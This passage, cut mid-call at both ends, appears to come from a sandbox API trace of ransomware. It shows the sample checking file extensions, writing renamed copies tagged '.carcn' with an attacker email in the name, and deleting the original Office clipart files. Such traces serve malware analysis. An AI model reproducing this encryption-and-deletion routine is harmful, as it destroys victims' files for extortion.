(lpString1=".pdf", lpString2=".WMF") returned -1 [0274.079] lstrlenW (lpString=".xls") returned 4 [0274.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.079] lstrlenW (lpString=".xlsx") returned 5 [0274.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.080] lstrlenW (lpString=".ppt") returned 4 [0274.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.080] lstrlenW (lpString=".zip") returned 4 [0274.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.080] lstrlenW (lpString=".rar") returned 4 [0274.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.080] lstrlenW (lpString=".bz2") returned 4 [0274.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.080] lstrlenW (lpString=".7z") returned 3 [0274.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.080] lstrlenW (lpString=".dbf") returned 4 [0274.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.080] lstrlenW (lpString=".1cd") returned 4 [0274.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.080] lstrlenW (lpString=".jpg") returned 4 [0274.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.081] lstrlenW (lpString=".doc") returned 4 [0274.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.081] lstrlenW (lpString=".docx") returned 5 [0274.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.081] lstrlenW (lpString=".pdf") returned 4 [0274.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.081] lstrlenW (lpString=".xls") returned 4 [0274.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.081] lstrlenW (lpString=".xlsx") returned 5 [0274.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.081] lstrlenW (lpString=".ppt") returned 4 [0274.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.081] lstrlenW (lpString=".zip") returned 4 [0274.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.081] lstrlenW (lpString=".rar") returned 4 [0274.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.081] lstrlenW (lpString=".bz2") returned 4 [0274.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.081] lstrlenW (lpString=".7z") returned 3 [0274.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.087] lstrlenW (lpString=".dbf") returned 4 [0274.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.088] lstrlenW (lpString=".1cd") returned 4 [0274.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01143_.WMF") returned 68 [0274.088] lstrlenW (lpString=".jpg") returned 4 [0274.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.088] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0274.088] lstrlenW (lpString="DD01151_.WMF") returned 12 [0274.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0274.089] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2960) returned 1 [0274.089] CloseHandle (hObject=0x540) returned 1 [0274.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 0x220 [0274.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0274.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0274.090] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.090] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0274.091] GetLastError () returned 0x0 [0274.091] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xb90, lpOverlapped=0x0) returned 1 [0275.774] WriteFile (in: hFile=0x43c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xba0, lpOverlapped=0x0) returned 1 [0275.775] ReadFile (in: hFile=0x540, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.775] WriteFile (in: hFile=0x43c, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.776] SetEndOfFile (hFile=0x43c) returned 1 [0275.782] CloseHandle (hObject=0x43c) returned 1 [0275.782] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.782] SetEndOfFile (hFile=0x540) returned 1 [0275.785] CloseHandle (hObject=0x540) returned 1 [0275.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0275.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01151_.wmf")) returned 1 [0275.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.786] lstrlenW (lpString=".doc") returned 4 [0275.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.786] lstrlenW (lpString=".docx") returned 5 [0275.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.787] lstrlenW (lpString=".pdf") returned 4 [0275.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.787] lstrlenW (lpString=".xls") returned 4 [0275.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.787] lstrlenW (lpString=".xlsx") returned 5 [0275.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.787] lstrlenW (lpString=".ppt") returned 4 [0275.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.787] lstrlenW (lpString=".zip") returned 4 [0275.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.787] lstrlenW (lpString=".rar") returned 4 [0275.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.787] lstrlenW (lpString=".bz2") returned 4 [0275.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.787] lstrlenW (lpString=".7z") returned 3 [0275.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.787] lstrlenW (lpString=".dbf") returned 4 [0275.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.787] lstrlenW (lpString=".1cd") returned 4 [0275.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.788] lstrlenW (lpString=".jpg") returned 4 [0275.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.788] lstrlenW (lpString=".doc") returned 4 [0275.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.788] lstrlenW (lpString=".docx") returned 5 [0275.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.788] lstrlenW (lpString=".pdf") returned 4 [0275.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.788] lstrlenW (lpString=".xls") returned 4 [0275.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.788] lstrlenW (lpString=".xlsx") returned 5 [0275.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.788] lstrlenW (lpString=".ppt") returned 4 [0275.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.788] lstrlenW (lpString=".zip") returned 4 [0275.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.788] lstrlenW (lpString=".rar") returned 4 [0275.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.788] lstrlenW (lpString=".bz2") returned 4 [0275.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.789] lstrlenW (lpString=".7z") returned 3 [0275.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.789] lstrlenW (lpString=".dbf") returned 4 [0275.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.789] lstrlenW (lpString=".1cd") returned 4 [0275.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0275.789] lstrlenW (lpString=".jpg") returned 4 [0275.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.789] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0275.789] lstrlenW (lpString="DD01160_.WMF") returned 12 [0275.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0275.797] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2228) returned 1 [0275.797] CloseHandle (hObject=0x544) returned 1 [0275.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 0x220 [0275.798] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0275.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0275.798] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.798] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0275.806] GetLastError () returned 0x0 [0275.806] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x8b4, lpOverlapped=0x0) returned 1 [0275.885] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0275.886] ReadFile (in: hFile=0x544, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.886] WriteFile (in: hFile=0x540, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.886] SetEndOfFile (hFile=0x540) returned 1 [0275.887] CloseHandle (hObject=0x540) returned 1 [0275.887] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.887] SetEndOfFile (hFile=0x544) returned 1 [0275.894] CloseHandle (hObject=0x544) returned 1 [0275.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0275.905] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01160_.wmf")) returned 1 [0275.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.908] lstrlenW (lpString=".doc") returned 4 [0275.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.908] lstrlenW (lpString=".docx") returned 5 [0275.908] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.908] lstrlenW (lpString=".pdf") returned 4 [0275.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.909] lstrlenW (lpString=".xls") returned 4 [0275.909] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.909] lstrlenW (lpString=".xlsx") returned 5 [0275.909] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.909] lstrlenW (lpString=".ppt") returned 4 [0275.909] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.909] lstrlenW (lpString=".zip") returned 4 [0275.909] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.909] lstrlenW (lpString=".rar") returned 4 [0275.909] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.909] lstrlenW (lpString=".bz2") returned 4 [0275.909] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.909] lstrlenW (lpString=".7z") returned 3 [0275.909] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.909] lstrlenW (lpString=".dbf") returned 4 [0275.909] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.909] lstrlenW (lpString=".1cd") returned 4 [0275.909] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.910] lstrlenW (lpString=".jpg") returned 4 [0275.910] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.910] lstrlenW (lpString=".doc") returned 4 [0275.910] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.910] lstrlenW (lpString=".docx") returned 5 [0275.910] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0275.910] lstrlenW (lpString=".pdf") returned 4 [0275.910] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.910] lstrlenW (lpString=".xls") returned 4 [0275.910] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.910] lstrlenW (lpString=".xlsx") returned 5 [0275.910] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0275.910] lstrlenW (lpString=".ppt") returned 4 [0275.911] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.911] lstrlenW (lpString=".zip") returned 4 [0275.911] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.911] lstrlenW (lpString=".rar") returned 4 [0275.911] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.911] lstrlenW (lpString=".bz2") returned 4 [0275.911] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.911] lstrlenW (lpString=".7z") returned 3 [0275.911] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.911] lstrlenW (lpString=".dbf") returned 4 [0275.911] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.911] lstrlenW (lpString=".1cd") returned 4 [0275.911] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01160_.WMF") returned 68 [0275.911] lstrlenW (lpString=".jpg") returned 4 [0275.911] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.912] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0275.912] lstrlenW (lpString="DD01162_.WMF") returned 12 [0275.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0276.007] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2300) returned 1 [0276.007] CloseHandle (hObject=0x560) returned 1 [0276.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 0x220 [0276.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0276.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0276.008] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.008] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0276.009] GetLastError () returned 0x0 [0276.009] ReadFile (in: hFile=0x560, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x8fc, lpOverlapped=0x0) returned 1 [0276.010] WriteFile (in: hFile=0x564, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x900, lpOverlapped=0x0) returned 1 [0276.011] ReadFile (in: hFile=0x560, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0276.012] WriteFile (in: hFile=0x564, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0276.012] SetEndOfFile (hFile=0x564) returned 1 [0276.012] CloseHandle (hObject=0x564) returned 1 [0276.012] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.012] SetEndOfFile (hFile=0x560) returned 1 [0276.014] CloseHandle (hObject=0x560) returned 1 [0276.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0276.015] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01162_.wmf")) returned 1 [0276.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01162_.WMF") returned 68 [0276.015] lstrlenW (lpString=".doc") returned 4 [0276.015] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.015] lstrlenW (lpString=".docx") returned 5 [0276.015] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0276.015] lstrlenW (lpString=".pdf") returned 4 [0276.016] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.016] lstrlenW (lpString=".xls") returned 4 [0276.016] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.016] lstrlenW (lpString=".xlsx") returned 5 [0276.016] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0276.016] lstrlenW (lpString=".ppt") returned 4 [0276.016] lstrcmpiW 